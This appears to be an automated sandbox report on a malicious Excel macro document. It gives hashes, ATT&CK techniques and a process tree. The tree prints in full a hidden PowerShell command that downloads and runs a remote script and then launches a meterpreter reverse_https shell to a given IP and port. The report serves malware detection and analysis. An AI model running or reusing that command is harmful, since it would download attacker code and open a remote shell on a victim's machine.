3604bda750b13576a0efe49945aca15e4cd2b1a7800de6be76f627db023813ee

General

Target

3604bda750b13576a0efe49945aca15e4cd2b1a7800de6be76f627db023813ee.xls
Size

44KB
MD5

66ecbdd00ea0f30cfad0ce6e95683a5b
SHA1

9ad70e4c37ca2f8cd8b49d0948a60cf488891a18
SHA256

3604bda750b13576a0efe49945aca15e4cd2b1a7800de6be76f627db023813ee
SHA512

cedb6d66db160d112fc7c9fb188b5fabae6283f60124a5a4220deba28c7caaa0f7de6304c1313866bd6167f1ba9cc5d4e04636496c440c72de1614e715aed7c0
SSDEEP

768:Itvo+kzKk3hbdlylKsgqopeJBWhZFGkE+cL2NdAJgJQm3uFlmQQcI+J9acO9acyL:4jk3hbdlylKsgqopeJBWhZFGkE+cL2N6

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1228	2736	powershell.exe	31
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2080	1924	wscript.exe	30

Blocklisted process makes network request 4 IoCs

flow	pid	Process
3	1228	powershell.exe
4	1228	powershell.exe
5	3036	powershell.exe
6	3036	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1228	powershell.exe
3036	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs

Web Service

T1102

flow	ioc
2	raw.githubusercontent.com
3	raw.githubusercontent.com
4	raw.githubusercontent.com
5	raw.githubusercontent.com
6	raw.githubusercontent.com

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Office loads VBA resources, possible macro or embedded object present

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1924	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1228	powershell.exe
3036	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1228	powershell.exe
Token: SeDebugPrivilege	3036	powershell.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
1924	EXCEL.EXE
1924	EXCEL.EXE
1924	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1924 wrote to memory of 2080	1924	EXCEL.EXE	34
PID 1924 wrote to memory of 2080	1924	EXCEL.EXE	34
PID 1924 wrote to memory of 2080	1924	EXCEL.EXE	34
PID 1924 wrote to memory of 2080	1924	EXCEL.EXE	34
PID 2080 wrote to memory of 3036	2080	wscript.exe	35
PID 2080 wrote to memory of 3036	2080	wscript.exe	35
PID 2080 wrote to memory of 3036	2080	wscript.exe	35
PID 2080 wrote to memory of 3036	2080	wscript.exe	35

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\3604bda750b13576a0efe49945aca15e4cd2b1a7800de6be76f627db023813ee.xls
1⤵
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1924
- C:\Windows\SysWOW64\wscript.exe
  wscript C:\Users\Public\config.vbs
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2080
- - C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -nop -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3036

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1228

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\208VB6U6SRO6QYE7KO3U.temp

Filesize
7KB

MD5
9369421e68263e599ecf1453e4a6f9db

SHA1
d7e9929477dcc73f33a4f5e0a43f535eae4056f8

SHA256
d473eb10b35dd842b74150a071824bb3cfdb97128e78ca69073f2d329ff7a76c

SHA512
aeaf9d3e0e588161479e6ac716fc286f2cb8c941922f5b0bbdbbebcb48b399602d3308a13a1621463d454b349505cc417e1d57f1ccd21a50ba76b9fe5773eda1

Download Submit
C:\Users\Public\config.vbs

Filesize
461B

MD5
ce52ab154163c511f0efa6a61e22ab64

SHA1
9f12cc215e15802eddcb02cb5370ef16b21fa3a6

SHA256
df342167afd4f1758c02b8793b27a2f9e35f074ea20aa1aa75c69d48d88fcd17

SHA512
cf50d9b51fcb4f3150aeca158a7a2249b1f5806d0e9ffc2b479ef936a7d85fdaaf302ce5cb3263e03b3c7805d38ca734f167ff757e6b6cdf89343f13a2bf0f78

Download Submit
memory/1228-45-0x000000001B690000-0x000000001B972000-memory.dmp

Filesize
2.9MB

Download
memory/1228-46-0x0000000002790000-0x0000000002798000-memory.dmp

Filesize
32KB

Download
memory/1924-37-0x00000000063B0000-0x00000000064B0000-memory.dmp

Filesize
1024KB

Download
memory/1924-38-0x00000000063B0000-0x00000000064B0000-memory.dmp

Filesize
1024KB

Download
memory/1924-39-0x00000000063B0000-0x00000000064B0000-memory.dmp

Filesize
1024KB

Download
memory/1924-1-0x0000000071E3D000-0x0000000071E48000-memory.dmp

Filesize
44KB

Download
memory/1924-18-0x00000000063B0000-0x00000000064B0000-memory.dmp

Filesize
1024KB

Download
memory/1924-17-0x00000000063B0000-0x00000000064B0000-memory.dmp

Filesize
1024KB

Download
memory/1924-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1924-49-0x0000000071E3D000-0x0000000071E48000-memory.dmp

Filesize
44KB

Download
memory/1924-50-0x00000000063B0000-0x00000000064B0000-memory.dmp

Filesize
1024KB

Download
memory/1924-51-0x00000000063B0000-0x00000000064B0000-memory.dmp

Filesize
1024KB

Download
memory/1924-52-0x00000000063B0000-0x00000000064B0000-memory.dmp

Filesize
1024KB

Download
memory/1924-53-0x00000000063B0000-0x00000000064B0000-memory.dmp

Filesize
1024KB

Download

Analysis

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